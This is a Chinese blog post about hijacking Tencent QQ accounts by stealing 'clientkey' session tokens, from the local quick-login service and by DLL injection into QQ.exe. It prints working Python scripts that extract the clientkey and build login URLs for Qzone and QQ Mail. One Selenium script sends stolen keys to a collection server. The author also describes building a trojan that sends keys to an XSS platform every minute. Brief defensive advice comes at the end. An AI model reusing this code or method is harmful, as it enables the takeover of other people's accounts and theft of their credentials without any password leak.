前言本人在14年时就对盗号的路子有些研究,因为那时很喜欢恶搞别人。而当时最简单的就是用易语言写的发信收信钓鱼软件,门槛极低。而本文并不是研究这种钓软或鱼站的原理,因为类似的这种手段都是诱骗鱼儿直接把账号密码送给别人,所以没什么好研究的,要再研究的话我个人觉得就要深入到心理学的方面了。那么这里研究的就是那种,我明明没有在哪里输入过QQ账号密码,但就是被别人控制了,甚至改密码后不一会又中招。这里讲到的,在没有泄露QQ账号密码,QQ却被玩弄于鼓掌的技术,我就简单地叫做QQkey利用。
QQkey从名字不难看出QQkey到底是个什么东西。所谓QQkey就是QQ的一个临时密码,相当于第二把钥匙。有了它就有了QQ的大部分权限了。这里再提到一个东西—Skey。这是本人接触的最早的关于QQkey利用的一个部分。我们现在打开QQ空间登录QQ后可以看到cookie里边就有一个叫skey的键值对。在14年,只要有了这个skey和对应的QQ号,就可以突破限制直接登录QQ空间。当时有一个人就写了一款skey突破利用工具,骗到了女神的skey,就可以干一些猥琐的事情。至于思路就很多了。最简单的,可以用js获取cookie,也可以叫别人打开QQ空间的小助手然后把检测内容发你,内容里边就包含了cookie。本人当时就很想研究其中的原理,然后写一个属于自己的木马。但限于技术水平就耽搁下来了。到现在,这个方法早就失效了。但跟前面提到的,skey只属于qqkey的一部分,所以真正的毒瘤不是skey,而是clientkey。
Clientkey可以说,clientkey的别名就是qqkey,它比skey权限更大,可以干更多的事情。现在就说说为什么存在这东西吧。我们都知道腾讯有一个快速登录的功能,在登录腾讯的网页产品时使用快速登录就不用输入账号密码了。那么设计这样一个不用输入账号密码就可以登录的功能,是为了快速安全还是为了快速方便呢?首先快速登录功能的前提就是在电脑上登录了QQ,在设计这个功能时要考虑的就是web端如何与本地QQ进行通信以便获取电脑上登录的QQ。在最初时腾讯是使用Activex控件来获取电脑上登录的QQ,但是必须要浏览器启用控件才行,而且ie默认是禁用Activex控件的,所以适用性不是很强。后来腾讯改用在本地建立一个httpd服务来进行通信,也就是说QQ应用程序自带了一个小型的web服务。我们打开一个快速登录,F12查看网络监视器,可以看到一个这样的包。看到远程地址是指向了本地。然后发现本地确实在监听4301端口。响应里边包含了本机登录QQ号的一些信息。
1var var_sso_uin_list=[{"uin":QQ号,"face_index":0,"gender":2,"nickname":"登录QQ号的名称","client_type":65793,"uin_flag":55083590,"account":QQ号}];ptui_getuins_CB(var_sso_uin_list);
接下来点击头像进行快速登录,继续观察网络连接状况。发现再次请求了本地并返回cookies。cookie里就包含了clientkey,然后会有一个跳转。这个跳转响应中包含了许多的cookie并且返回了一个url,直接访问这个url即可等登录到目标站点。
1ptui_qlogin_CB('0', 'https://ptlogin2.buluo.qq.com/check_sig?pttype=2&uin=948375961&service=jump&nodirect=0&ptsigx=c0dd7***省略***8393441c77b1&s_url=https%3A%2F%2Fbuluo.qq.com%2F&f_url=&ptlang=2052&ptredirect=100&aid=1000101&daid=371&j_later=0&low_login_hour=0®master=0&pt_login_type=2&pt_aid=715030901&pt_aaid=0&pt_light=0&pt_3rd_aid=0', '')
我们理一下这个快速登录过程。首先是第一次访问本地,获取到了本地登录的QQ号,而第二次是携带QQ号去访问本地,就可以获取到对应QQ号的clientkey,这时带着clientkey和对应QQ号去请求腾讯的这个跳转页面,就可以登录到跳转的目标站点。所以这个跳转就是clientkey的一个认证,通过了就可以帮你登录到目标站点。那么,我们只要拿到QQ号和对应的clientkey就可以通过这个认证跳转去登录腾讯的许多站点以及带有QQ登录的一些站点。而skey只能登录QQ空间。。。为了验证这个说法,我测试了QQ空间的快速登录,把带着clientkey去请求得到的url发给朋友。然后朋友就进了我的QQ空间,为了测试权限,我的空间就多了一条“大傻逼”的说说。。。我尝试退出QQ客户端,但是链接仍然有效,我还没测试出让它失效的方法,网友都说改密码才行。
接下来我们就去复现它。说实话复现这个并不难,只要模拟会话访问就可以了。。。这里贴一份github上的代码。
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586import requestsimport reclass QQLogin: def __init__(self): self.session = None # login session self.headers = { 'Host': 'localhost.ptlogin2.qq.com:', 'Connection': 'keep-alive', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36', 'Accept': '*/*', 'Referer': 'https://xui.ptlogin2.qq.com/cgi-bin/xlogin?proxy_url=https%3A//qzs.qq.com/qzone/v6/portal/proxy.html&daid=5&&hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=22&target=self&s_url=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_qr_app=%E6%89%8B%E6%9C%BAQQ%E7%A9%BA%E9%97%B4&pt_qr_link=http%3A//z.qzone.com/download.html&self_regurl=https%3A//qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=http%3A//z.qzone.com/download.html&pt_no_auth=0', 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', } self.port = None # listen port self.qqnumber = None # qqnumber self.nickname = None # nickname ''' Get QQ account @return true for get success ''' def GetAccount(self): self.session = requests.Session() self.session.cookies.set('pt_local_token','1234567890', domain='ptlogin2.qq.com') ret = False for self.port in range(4300, 4309): # qq local server try: self.headers['Host'] = 'localhost.ptlogin2.qq.com:' + str(self.port) req = self.session.get('https://localhost.ptlogin2.qq.com:'+str(self.port) + '/pt_get_uins?callback=ptui_getuins_CB&r=0.9899515903716838&pt_local_tk=' + self.session.cookies['pt_local_token'], headers=self.headers) self.qqnumber = re.search(r'uin":"([0-9]*)"', req.text).group(1) self.nickname = re.search(r'nickname":"(.*?)"', req.text).group(1) self.session.get('https://localhost.ptlogin2.qq.com:'+str(self.port)+'/pt_get_st?clientuin='+self.qqnumber + '&callback=ptui_getst_CB&r=0.9899515903716838&pt_local_tk='+self.session.cookies['pt_local_token'], headers=self.headers) ret = True break except: continue return ret ''' Get qzone login key @return login key, None for error ''' def LoginQzone(self): return self.__Login('pt_aid=549000912&daid=5&u1=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone') ''' Get qmail login key @return login key, None for error ''' def LoginQmail(self): return self.__Login('pt_aid=522005705&daid=4&u1=https%3A%2F%2Fmail.qq.com%2Fcgi-bin%2Freadtemplate%3Fcheck%3Dfalse%26t%3Dloginpage_new_jump%26vt%3Dpassport%26vm%3Dwpt%26ft%3Dloginpage%26target%3D') ''' Universe login method ''' def __Login(self,url): try: self.session.get('https://localhost.ptlogin2.qq.com:'+str(self.port)+'/pt_get_st?clientuin='+self.qqnumber + '&callback=ptui_getst_CB&r=0.9899515903716838&pt_local_tk='+self.session.cookies['pt_local_token'], headers=self.headers) self.headers['Host'] = 'ssl.ptlogin2.qq.com' req = self.session.get('https://ssl.ptlogin2.qq.com/jump?clientuin='+self.qqnumber + '&keyindex=9&'+url+'&pt_local_tk=' +self.session.cookies['pt_local_token']+'&pt_3rd_aid=0&ptopt=1&style=40', headers=self.headers) return re.search(r"_CB\('0', '(.*?)'", req.text).group(1) except: return Noneif __name__ == '__main__': obj = QQLogin() obj.GetAccount() print('QQKey:' + obj.session.cookies.get_dict()['clientkey']+'\n') print('Cookie: ' + ('; '.join(['='.join(item) for item in obj.session.cookies.get_dict().items()]))) if(input('Auto get url?(y/n)')=='y'): print('Qzone:') print(obj.LoginQzone()) print('Qmail:') print(obj.LoginQmail())
这里说几点:
第一次访问本地的pt_local_tk参数需要和cookie中的pt_local_token相同
请求本地时要带有 https://xui.ptlogin2.qq.com/ 这个域的Referer
本地QQ监听的端口是4300-4308,因为端口有可能被占用,然后奇数说明是https,而偶数则是http,但现在腾讯已经不用http了,所以我前面抓到的包是4301端口
好了,现在是不是很兴奋想去制作自己的盗号木马了。然而在19年年底腾讯已经做出了限制。这个方法已经不适用了。本人在做复现时,网上的脚本全部都跑不了。用postman做模拟请求时,一个一模一样的包发送过去没有响应。抓包工具一开,快速登录就失效。后来在一篇文章中了解到腾讯在QQProtect.dll中加入了来源检测,也不说具体是什么。跟别人聊一下又说有HTTP双向认证,TLS指纹,证书锁定,以目前技术水平真过不了,而且还不确定是哪种限制。但我仍然写了一个爬虫,用selenium来模拟浏览器访问。
12345678910111213141516171819202122232425262728293031from selenium import webdriverimport requestsimport timeoptions = webdriver.ChromeOptions()# options.add_experimental_option('excludeSwitches', ['enable-logging'])options.add_argument('--headless')options.add_argument('--disable-gpu')options.add_argument('log-level=3')browser = webdriver.Chrome(chrome_options=options,executable_path='chromedriver.exe')browser.get( "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F")# browser.find_element_by_css_selector("a.face:nth-child(2)").click()pt_local_token = browser.get_cookie("pt_local_token")['value']qqnumber = browser.find_element_by_css_selector("#qlogin_list > a.face").get_attribute("uin")# print(qqnumber)# print(pt_local_token)browser.execute_script( 'window.location.href="https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin={}&callback=ptui_getst_CB&r=0.4266647630782271&pt_local_tk={}"'.format( qqnumber, pt_local_token))clientuin = browser.get_cookie('clientuin')['value']clientkey = browser.get_cookie('clientkey')['value']# print("http://ptlogin2.qq.com/jump?clientuin={}&clientkey={}&keyindex=9&pt_aid=549000912&daid=5&pt_qzone_sig=1&u1=http%3A%2F%2Fqzs.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone".format(clientuin,clientkey))browser.quit()browser.service.stop()requests.get("http://127.0.0.1:5000/?clientuin={}&clientkey={}".format(clientuin,clientkey))
这里没有请求本地获取QQ号,而是直接访问QQ快速登录的面板,等它获取到后,通过css选择器去获取页面中的QQ号元素。最后请求本地的5000端口是本人起了一个flask的web来接收结果。然而这种方法弊端很大。如果要写成木马,就要有隐蔽性,本人用了pyinstaller打包时,费了不少劲才把调用浏览器的调试窗口给隐藏掉。但是当换一台机子运行就不行了,因为selenium要有对应版本的浏览器驱动,就算打包好,别人电脑也不一定对应版本的浏览器,所以这份代码适用性不强。
直接调用本地接口虽然我们突破不了快速登陆的限制来获取clientkey,但是大佬们仍然还有别的路子—QQ应用程序中计算clientkey算法接口。当我们从QQ面板进入QQ空间时也是不用密码的,如果细心一点可以发现,点击之后是经过一个跳转才登录QQ空间的。登陆后的URL是这样的。
1https://user.qzone.qq.com/QQ号/infocenter
我们在网址栏处按一下Ctrl+Z就可以得到跳转时的URL。
1https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=948375961&clientkey=9868C3C*******42CEB7D30E7875&u1=https:%2F%2Fuser.qzone.qq.com%2F948375961%2Finfocenter&source=panelstar
clientkey又出现了,但是这个key和之前的不一样。之前的key是224位的,这里出现的key是64位的。这里码出两种key的利用方式。
12http://ptlogin2.qq.com/jump?ptlang=2052&clientuin=QQ号码&clientkey=64位的KEY&u1=需要登陆的QQ服务网站地址http://ptlogin2.qq.com/jump?clientuin=QQ号&clientkey=224位的KEY&keyindex=9&u1=需要登陆的QQ服务网站地址
他们的区别有什么,暂时还不知道,据说64位的key是权限最高的。很明显64位的key就是在QQ的内存中。直接贴出大佬的操作。通过IDA附加定位到KernelUtil.dll中的?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z函数,至于怎么知道是这个大佬说已经忘了。
1234567891011121314151617181920212223242526272829CTXStringW *__cdecl Util::Misc::GetSignature(CTXStringW *a1, int a2){ int v2; // eax int v4; // [esp-14h] [ebp-14h] int v5; // [esp-10h] [ebp-10h] int v6; // [esp-Ch] [ebp-Ch] int v7; // [esp-8h] [ebp-8h] CTXStringW::CTXStringW(a1); v5 = 0; sub_55404A73(&v5); if ( v5 ) { v6 = 0; if ( (*(int (__stdcall **)(int, int, int *))(*(_DWORD *)v5 + 60))(v5, a2, &v6) >= 0 ) { v7 = 0; sub_5536126A(&v7, v6); v2 = Util::Encode::Encode16(&v4, &v7); CTXStringW::operator=(a1, v2); CTXStringW::~CTXStringW((CTXStringW *)&v4); if ( v7 ) (*(void (__stdcall **)(int))(*(_DWORD *)v7 + 8))(v7); } sub_5540C87C(&v6); } sub_5540C87C(&v5); return a1;}
两个参数,a1指针应该是存放结果的缓存区,a2是传入参数的指针。通过查看交叉引用发现有两个函数调用了它。
12345CTXStringW *__cdecl Util::Misc::Get32ByteValueAddedSign(CTXStringW *a1){ Util::Misc::GetSignature(a1, (int)"buf32ByteValueAddedSignature"); return a1;}
12345CTXStringW *__cdecl Util::Misc::GetValueSTHttp(CTXStringW *a1){ Util::Misc::GetSignature(a1, (int)"bufSTHttp"); return a1;}
调用方式都是一样的,不同的就是一个传入buf32ByteValueAddedSignature,而另一个传入bufSTHttp。很明显,32byte返回的是64位的key,而http的就是224位的key。下面看看开源的一份利用模块,使用易语言编写的动态链接库,需要配合DLL注入器使用。再提一下,获取QQ号的函数是?GetSelfUin@Contact@Util@@YAKXZ,利用方法大同小异,看一下如何获取clientkey就行了。用注入器将DLL注入到QQ的进程空间并建立线程运行后,就可以取到KernelUtil的API函数地址,然后通过shellcode注入来调用函数。写一个函数给线程运行,这里请求了XSS平台来接收结果。编译出DLL,然后再写一下注入器。做了个循环,如果没有QQ进程就10s检测一次,获取一次后就等一分钟再获取。DLL和注入器同目录,用小号做了下测试。本来只想研究一下,没想到就自己写了个木马出来-.-只要木马没被杀,即使改了密码也能实时更新clientkey,就差个更狠点的自启动了。但是这个木马还要带个DLL就不是很方便,然后在论坛找到了这个大佬整合的模块,于是把模块反编译看看怎么写的。这个模块提供了许多方法。不仅仅有获取QQkey的,还有获取好友,Q群,后台发送消息等等,一些小白都可以写出功能齐全的QQ辅助。先看看怎么写的。初始化时就取好各个函数地址。实际上这个模块只是再封装一次而已。
这个初始化时加载的常量是一个图片资源但并不是一张图片,结合加载和取函数方法都是一个叫PELoader的模块里的,可以确定这个常量实际是一个DLL,采用了内存DLL载入的方法。将这个DLL导出后用PE工具查看一下输出表。所以这个DLL才是实际的主角。。。然后我又用Python写了一份DLL的调用。。。
12345678910111213141516171819202122from ctypes import *import psutildef GetPidByName(Name): pids = psutil.process_iter() pidList = [] for pid in pids: if pid.name() == Name: pidList.append(pid.pid) return pidListProcess_Name = "QQ.exe"QQ_Pids = GetPidByName(Process_Name)# print(QQ_Pids)QQHelperDll = windll.LoadLibrary("QQHelperDLL.dll")qq = QQHelperDll.getClientSelfUin(QQ_Pids[0])clientkey_p = c_char_p(QQHelperDll.getClientkey(QQ_Pids[0]))clientkey = clientkey_p.value.decode("utf8")print(clientkey)print("https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin={}&clientkey={}&u1=https://user.qzone.qq.com/{}/infocenter&source=panelstar".format(qq,clientkey,qq))
运行后,输出了跳转url。
1https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=948375961&clientkey=53AB0361A9**********27ED73509D180B8612664C21A&u1=https://user.qzone.qq.com/948375961/infocenter&source=panelstar
测试完美可用。。。好了我要改密码了。。因为这意味着,这份DLL才是主角。而我已经没有精力去分析它的行为了。我根本不知道这份DLL的作者有没有在里面做些什么手脚。。。防人之心不可无,还是希望大家都是以学习为研究目的吧,不要做太多猥琐事,你搞我我搞你的。
结尾到这里相信大家很清楚了,防止QQ被盗不仅是谨慎输入账号密码这么简单。可以看到,网上已经提供了能后台操作QQ,功能丰富的模块。通过种种技术,整合到许多软件中。为什么去网吧打一把大逃杀之后steam账号就被盗?您细品对于没中招的朋友,不要随意运行不明来源的软件。中了招的朋友,重启电脑后进行病毒查杀并排除可疑软件,及时修改密码。本文以本人的菜鸡水平讲述,若有错漏,不谨慎的地方请联系本人修改。最后说一句,易语言牛逼~